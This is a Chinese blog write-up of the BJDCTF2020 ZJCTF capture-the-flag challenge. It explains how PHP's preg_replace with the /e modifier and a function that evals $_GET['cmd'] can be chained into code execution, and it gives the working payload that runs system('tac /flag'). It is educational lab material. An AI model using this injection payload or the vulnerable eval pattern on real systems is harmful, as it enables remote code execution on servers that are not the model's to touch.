BUU-[BJDCTF2020]ZJCTF,不过如此

//next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str)
{
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach ($_GET as $re => $str) {
    echo complex($re, $str) . "\n";
}

function getFlag()
{
    @eval($_GET['cmd']);
}

解释一下在正则表达式中()的一个作用: 捕获

<?php
preg_replace(
    '/(' . "dir" . ')/ei',
    'system("\\1")',
    "dir"
);


/*
1.在subject中寻找dir字符串
2. 找到了!而且因为在正则中使用了()进行包围, 所以会对捕获进行记录, 其中\1对应的就是捕获到的第一个记录, 也就是dir
3. 因为设置了/e, 所以preg_replace在进行替换之前会eval第二个参数
4. 实际上执行的是system("dir")
*/
简单的就是因为在正则中加入了(),所以会对捕获进行记录,类似于数组的键值对,\1对应的就是第一个捕获,\2就是第二个捕获

所以我们理所当然的认为payload可以这样构造:
?.*={${phpinfo()}}
在解释这个payload不行之前说明一下{${phpinfo()}}的作用:
php会认为{${}}里面的内容是一个表达式, 会先执行表达式的内容,当然了, 如果是使用单引号包围就不行, 因为单引号的内容会被当作是纯静态字符

至于为什么这个payload不行, 是因为php会对GET传入的键值对进行规范化, 会把不规范的字符规范为_, 所以实际上是_*={${phpinfo()}}

正确的payload是:?\S*={${getFlag()}}&cmd=system('tac /flag');
在正则表达式中: \S表示的是匹配任意的非空白字符
执行的流程是:
1.

function complex($re, $str)
{
    return preg_replace(
        '/(\S*)/ei',
        'strtolower("\\1")',
        "{${getFlag()}}"
    );
}
  1. 捕获到了{${getFlag()}}
  2. \1 -> {${getFlag()}}
  3. strtolower("{${getFlag()}}")
  4. php对表达式进行解析: getFlag()

参考文章: https://www.freebuf.com/articles/web/182130.html

posted on 2026-01-26 20:52  misaki%20mei  阅读(0)  评论(0)    收藏  举报

导航